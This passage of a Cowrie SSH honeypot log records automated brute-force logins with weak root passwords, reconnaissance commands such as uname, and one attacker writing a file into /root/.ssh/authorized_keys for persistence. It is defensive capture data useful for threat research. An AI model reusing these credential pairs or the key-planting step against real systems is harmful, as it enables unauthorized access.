~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.754088Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.853030Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.932194Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.936451Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":47236,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43963ceddbc","protocol":"ssh","message":"New connection: 124.155.125.131:47236 (10.17.0.5:22) [session: f43963ceddbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:42.107384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:42.113170Z","src_ip":"124.155.125.131","session":"f43963ceddbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:42.290193Z","src_ip":"124.155.125.131","session":"f43963ceddbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:43.027498Z","src_ip":"124.155.125.131","session":"f43963ceddbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33278,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b8c4e0cb75e","protocol":"ssh","message":"New connection: 193.32.162.151:33278 (159.203.135.109:22) [session: 6b8c4e0cb75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.162484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.167566Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.206410Z","src_ip":"124.155.125.131","session":"f43963ceddbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.266441Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":47252,"dst_ip":"10.17.0.5","dst_port":22,"session":"739130a86417","protocol":"ssh","message":"New connection: 124.155.125.131:47252 (10.17.0.5:22) [session: 739130a86417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.378882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.383675Z","src_ip":"124.155.125.131","session":"739130a86417","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root@123","message":"login attempt [root/root@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.561229Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.566730Z","src_ip":"124.155.125.131","session":"739130a86417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.810504Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.814394Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.914665Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:44.919443Z","src_ip":"193.32.162.151","session":"6b8c4e0cb75e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:45.387409Z","src_ip":"124.155.125.131","session":"739130a86417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:45.567427Z","src_ip":"124.155.125.131","session":"739130a86417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:45.571644Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47348,"dst_ip":"10.17.0.5","dst_port":22,"session":"b801f9349e95","protocol":"ssh","message":"New connection: 92.118.39.92:47348 (10.17.0.5:22) [session: b801f9349e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:04:18.852204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:04:18.857773Z","src_ip":"92.118.39.92","session":"b801f9349e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:04:18.964020Z","src_ip":"92.118.39.92","session":"b801f9349e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"webadmin","message":"login attempt [webadmin/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:04:19.387415Z","src_ip":"92.118.39.92","session":"b801f9349e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:04:20.500793Z","src_ip":"92.118.39.92","session":"b801f9349e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49154,"dst_ip":"159.203.135.109","dst_port":22,"session":"33484dc0aa54","protocol":"ssh","message":"New connection: 193.32.162.151:49154 (159.203.135.109:22) [session: 33484dc0aa54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:04.790389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:04.795298Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:04.902416Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin123","message":"login attempt [root/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:05.227216Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:05.515021Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:05.519726Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:05.649751Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:05:05.658515Z","src_ip":"193.32.162.151","session":"33484dc0aa54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":50706,"dst_ip":"159.203.135.109","dst_port":22,"session":"4127d05648af","protocol":"ssh","message":"New connection: 78.128.112.74:50706 (159.203.135.109:22) [session: 4127d05648af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:40.326200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:40.330183Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:40.470051Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"0000","message":"login attempt [root/0000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:41.120951Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:41.371231Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:41.374970Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:41.484870Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:41.801540Z","src_ip":"78.128.112.74","session":"4127d05648af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35760,"dst_ip":"10.17.0.5","dst_port":22,"session":"121c5f19f515","protocol":"ssh","message":"New connection: 92.118.39.92:35760 (10.17.0.5:22) [session: 121c5f19f515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:42.290090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:42.295315Z","src_ip":"92.118.39.92","session":"121c5f19f515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:42.398709Z","src_ip":"92.118.39.92","session":"121c5f19f515","protocol":"ssh"}
